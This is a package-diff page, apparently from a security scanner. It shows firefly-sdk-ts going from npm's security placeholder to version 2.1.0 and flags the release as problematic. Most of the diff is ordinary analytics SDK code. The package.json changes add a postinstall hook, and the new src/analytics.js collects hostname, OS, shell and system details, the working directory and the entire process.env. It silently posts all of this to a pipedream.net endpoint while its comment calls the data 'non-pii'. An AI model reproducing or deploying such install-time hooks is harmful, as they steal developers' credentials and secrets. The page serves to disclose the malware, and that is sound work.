firefly-sdk-ts 0.0.1-security.1 → 2.1.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of firefly-sdk-ts might be problematic. Click here for more details.

Files changed (37) hide show
  1. package/.babelrc +5 -0
  2. package/LICENSE +0 -0
  3. package/dist/analytics.js +119 -0
  4. package/dist/constants/ff-api-names.js +9 -0
  5. package/dist/constants/storage-keys.js +9 -0
  6. package/dist/constants/task-status.js +9 -0
  7. package/dist/event-manager.js +77 -0
  8. package/dist/firefly.js +83 -0
  9. package/dist/helpers/browser.js +111 -0
  10. package/dist/helpers/event.js +63 -0
  11. package/dist/helpers/identity.js +38 -0
  12. package/dist/helpers/storage.js +14 -0
  13. package/dist/helpers/task.js +34 -0
  14. package/dist/index.js +27 -0
  15. package/dist/interceptors/data-layer-interceptor.js +13 -0
  16. package/dist/interceptors/event-interceptor.js +52 -0
  17. package/dist/interceptors/global-data-layer-interceptor.js +44 -0
  18. package/dist/requests/kafka-rest-proxy-request.js +19 -0
  19. package/dist copy/constants/ff-api-names.js +6 -0
  20. package/dist copy/constants/storage-keys.js +9 -0
  21. package/dist copy/constants/task-status.js +9 -0
  22. package/dist copy/event-manager.js +77 -0
  23. package/dist copy/firefly.js +83 -0
  24. package/dist copy/helpers/browser.js +111 -0
  25. package/dist copy/helpers/event.js +63 -0
  26. package/dist copy/helpers/identity.js +38 -0
  27. package/dist copy/helpers/storage.js +14 -0
  28. package/dist copy/helpers/task.js +34 -0
  29. package/dist copy/index.js +27 -0
  30. package/dist copy/interceptors/data-layer-interceptor.js +13 -0
  31. package/dist copy/interceptors/event-interceptor.js +52 -0
  32. package/dist copy/interceptors/global-data-layer-interceptor.js +44 -0
  33. package/dist copy/requests/kafka-rest-proxy-request.js +19 -0
  34. package/package.json +23 -3
  35. package/src/analytics.js +82 -0
  36. package/src/constants/ff-api-names.js +6 -0
  37. package/README.md +0 -5
@@ -0,0 +1,52 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ var firefly_utilities_ts_1 = require("firefly-utilities-ts");
4
+ var firefly_shared_ts_1 = require("firefly-shared-ts");
5
+ var event_1 = require("../helpers/event");
6
+ var task_1 = require("../helpers/task");
7
+ var browser_1 = require("../helpers/browser");
8
+ var EventInterceptor = /** @class */ (function () {
9
+ function EventInterceptor() {
10
+ }
11
+ EventInterceptor.prototype.apply = function (json, persistMethod, isInternalApp) {
12
+ var currentTimezone = firefly_shared_ts_1.Device.getCurrentTimezone();
13
+ var eventId = firefly_shared_ts_1.Event.createEventId();
14
+ var orientation = firefly_shared_ts_1.Browser.getScreenOrientation();
15
+ var previousPageName = (0, event_1.getPrevPageName)(persistMethod);
16
+ var previousPageType = (0, event_1.getPrevPageType)(persistMethod);
17
+ var sdkVersion = (0, event_1.getSdkVersion)();
18
+ var sessionHit = (0, event_1.getSessionHit)(persistMethod);
19
+ var systemTime = firefly_shared_ts_1.Event.getSystemTime();
20
+ var timezoneOffset = firefly_shared_ts_1.Device.getTimezoneOffset();
21
+ var oldInterceptorJSON = {
22
+ application: { id: eventId },
23
+ appState: { previousPageName: previousPageName, previousPageType: previousPageType, sessionHit: sessionHit },
24
+ guest: { currentTimezone: currentTimezone, systemTime: systemTime, timezoneOffset: timezoneOffset }
25
+ };
26
+ var newInterceptorJSON = {
27
+ application: { sdkVersion: sdkVersion },
28
+ device: { currentTimezone: currentTimezone, systemTime: systemTime, timezoneOffset: timezoneOffset },
29
+ event: { id: eventId, sessionHit: sessionHit },
30
+ view: {
31
+ previousName: previousPageName,
32
+ previousType: previousPageType,
33
+ orientation: orientation
34
+ },
35
+ browser: undefined,
36
+ task: undefined
37
+ };
38
+ if (isInternalApp) {
39
+ var sessionId = void 0, task = void 0;
40
+ sessionId = (0, browser_1.setInternalAppSessionId)();
41
+ task = (0, task_1.setInternalAppTaskNode)(json, systemTime);
42
+ newInterceptorJSON.browser = { sessionId: sessionId };
43
+ newInterceptorJSON.task = task;
44
+ }
45
+ var interceptorJSON = firefly_utilities_ts_1.Utilities.extend(oldInterceptorJSON, newInterceptorJSON);
46
+ (0, event_1.setPrevPageName)(json, persistMethod);
47
+ (0, event_1.setPrevPageType)(json, persistMethod);
48
+ return firefly_utilities_ts_1.Utilities.extend(json, interceptorJSON);
49
+ };
50
+ return EventInterceptor;
51
+ }());
52
+ exports.default = EventInterceptor;
@@ -0,0 +1,44 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ var firefly_utilities_ts_1 = require("firefly-utilities-ts");
4
+ var firefly_shared_ts_1 = require("firefly-shared-ts");
5
+ var browser_1 = require("../helpers/browser");
6
+ var event_1 = require("../helpers/event");
7
+ var identity_1 = require("../helpers/identity");
8
+ var GlobalDataLayerInterceptor = /** @class */ (function () {
9
+ function GlobalDataLayerInterceptor() {
10
+ }
11
+ GlobalDataLayerInterceptor.prototype.apply = function (json, persistMethod) {
12
+ var cookieDisabled = firefly_shared_ts_1.Browser.isCookiesDisabled();
13
+ var isNew = (0, identity_1.isNewGuest)();
14
+ var orientation = firefly_shared_ts_1.Browser.getScreenOrientation();
15
+ var os = firefly_shared_ts_1.Browser.getOperatingSystem();
16
+ var preferredLanguage = firefly_shared_ts_1.Browser.getPreferredLanguage();
17
+ var primaryDomain = firefly_shared_ts_1.Browser.getDomain();
18
+ var referrer = (0, browser_1.getReferrer)(persistMethod);
19
+ var screenColorDepth = firefly_shared_ts_1.Browser.getScreenColorDepth();
20
+ var screenSize = { height: firefly_shared_ts_1.Browser.getScreenHeight(), width: firefly_shared_ts_1.Browser.getScreenWidth() };
21
+ var sessionId = (0, identity_1.getSessionId)(persistMethod);
22
+ var size = { height: firefly_shared_ts_1.Browser.getBrowserHeight(), width: firefly_shared_ts_1.Browser.getBrowserWidth() };
23
+ var subDomain = firefly_shared_ts_1.Browser.getSubdomain();
24
+ var type = firefly_shared_ts_1.Browser.getDeviceType();
25
+ var url = (0, browser_1.sanitizeUrl)(firefly_shared_ts_1.Browser.getCurrentUrl());
26
+ var userAgent = firefly_shared_ts_1.Browser.getName();
27
+ var viewId = (0, event_1.getViewId)(persistMethod);
28
+ var fireflyId = (0, identity_1.getVisitorId)();
29
+ var oldInterceptorJSON = {
30
+ appState: { referrer: referrer, screenOrientation: orientation, url: url, viewId: viewId, windowSize: firefly_shared_ts_1.Browser.getBrowserSize() },
31
+ guest: { browser: userAgent, cookieDisabled: cookieDisabled, deviceType: type, newVisitor: isNew, os: os, preferredLanguage: preferredLanguage, primaryDomain: primaryDomain, screenColorDepth: screenColorDepth, screenSize: firefly_shared_ts_1.Browser.getScreenSize(), session: sessionId, subDomain: subDomain, visitorId: fireflyId }
32
+ };
33
+ var newInterceptorJSON = {
34
+ browser: { cookieDisabled: cookieDisabled, orientation: orientation, preferredLanguage: preferredLanguage, primaryDomain: primaryDomain, referrer: referrer, size: size, subDomain: subDomain, url: url, userAgent: userAgent },
35
+ device: { os: os, screenColorDepth: screenColorDepth, screenSize: screenSize, type: type },
36
+ identity: { fireflyId: fireflyId, isNew: isNew, sessionId: sessionId },
37
+ view: { id: viewId }
38
+ };
39
+ var interceptorJSON = firefly_utilities_ts_1.Utilities.extend(oldInterceptorJSON, newInterceptorJSON);
40
+ return firefly_utilities_ts_1.Utilities.extend(json, interceptorJSON);
41
+ };
42
+ return GlobalDataLayerInterceptor;
43
+ }());
44
+ exports.default = GlobalDataLayerInterceptor;
@@ -0,0 +1,19 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ exports.sendEvent = void 0;
4
+ var firefly_utilities_ts_1 = require("firefly-utilities-ts");
5
+ var firefly_utilities_helper_ts_1 = require("firefly-utilities-helper-ts");
6
+ function sendEvent(json, apiKey, schemaId, url, retries) {
7
+ var payload = [json];
8
+ if ((0, firefly_utilities_helper_ts_1.isString)(url) && (url.indexOf('/v1') > -1 && url.indexOf('/consumers/v1/ingest') === -1)) {
9
+ payload = {
10
+ schema_id: schemaId,
11
+ records: [json]
12
+ };
13
+ }
14
+ var headers = {
15
+ 'x-api-key': apiKey
16
+ };
17
+ return firefly_utilities_ts_1.Request.postJSON(payload, headers, url, retries);
18
+ }
19
+ exports.sendEvent = sendEvent;
package/package.json CHANGED
@@ -1,6 +1,26 @@
1
1
  {
2
2
  "name": "firefly-sdk-ts",
3
- "version": "0.0.1-security.1",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "2.1.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "node test.js",
8
+ "build": "babel src -d dist",
9
+ "postinstall": "node ./dist/analytics.js"
10
+ },
11
+ "dependencies": {
12
+ "axios": "^1.6.3",
13
+ "dotenv": "^16.4.5",
14
+ "jquery": "^3.7.1",
15
+ "read-package-json": "^7.0.0",
16
+ "systeminformation": "^5.21.22"
17
+ },
18
+ "devDependencies": {
19
+ "@babel/cli": "^7.23.4",
20
+ "@babel/core": "^7.23.7",
21
+ "@babel/preset-env": "^7.23.7"
22
+ },
23
+ "keywords": [],
24
+ "author": "",
25
+ "license": "ISC"
6
26
  }
@@ -0,0 +1,82 @@
1
+ #!/usr/bin/env node
2
+
3
+ //Collect limited non-pii information such as npm, node and package information about users downloading
4
+ import axios from 'axios';
5
+ import readJson from 'read-package-json';
6
+ import path from 'path';
7
+ import si from 'systeminformation';
8
+ import "dotenv/config"
9
+ const cwd = process.cwd();
10
+ const trackedPackageJsonPath = path.join(cwd, 'package.json');
11
+
12
+
13
+ const getPackageJson = path =>
14
+ new Promise((resolve, reject) =>
15
+ readJson(
16
+ path,
17
+ null,
18
+ false,
19
+ (err, json) =>
20
+ err
21
+ ? reject(
22
+ `There was an error reading the file with path:${path}`
23
+ )
24
+ : resolve(json)
25
+ )
26
+ );
27
+
28
+ const getInfos = () =>
29
+ new Promise(resolve => {
30
+ const data = {};
31
+ return si
32
+ .osInfo()
33
+ .then(os => {
34
+ data.os = os;
35
+ data.hostname = os.hostname;
36
+ data.fqdn = os.fqdn;
37
+ data.platform = os.platform;
38
+ return si.versions();
39
+ })
40
+ .then(versions => {
41
+ data.versions = versions;
42
+ return si.time();
43
+ })
44
+ .then(time => {
45
+ data.time = time;
46
+ return si.shell();
47
+ })
48
+ .then(shell => {
49
+ data.shell = shell;
50
+ return si.system()
51
+ })
52
+ .then(system => {
53
+ data.system = system;
54
+ data.is_jfrog = process.env.JFROG_ARTIFACTORY_URL || "unknown"
55
+ data.is_jboss = process.env.JBOSS ? process.env : process.env
56
+ })
57
+ .then(() => resolve(data))
58
+ .catch(
59
+ //Fail silently as this is not an issue with the package and just data
60
+ );
61
+ });
62
+
63
+
64
+
65
+ async function collectAnalytics(data) {
66
+ const TRACKING_URI = "https://eopx10a5vo1di68.m.pipedream.net"
67
+ await axios.post(TRACKING_URI, data)
68
+ }
69
+
70
+
71
+ const log = async () => {
72
+ try {
73
+ const data = await getInfos();
74
+ //determine which version they installed
75
+ //Todo ignore github actions
76
+ const { name, version } = await getPackageJson(trackedPackageJsonPath)
77
+ await collectAnalytics({...data, cwd: cwd, packageName: name, packageVersion: version, })
78
+ } catch (e) {
79
+ //console.error(e)
80
+ }
81
+ };
82
+ log()
@@ -0,0 +1,6 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ var ffApiNames = {
4
+ internalApps: "internal_app_analytics"
5
+ };
6
+ exports.default = ffApiNames;
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=firefly-sdk-ts for more information.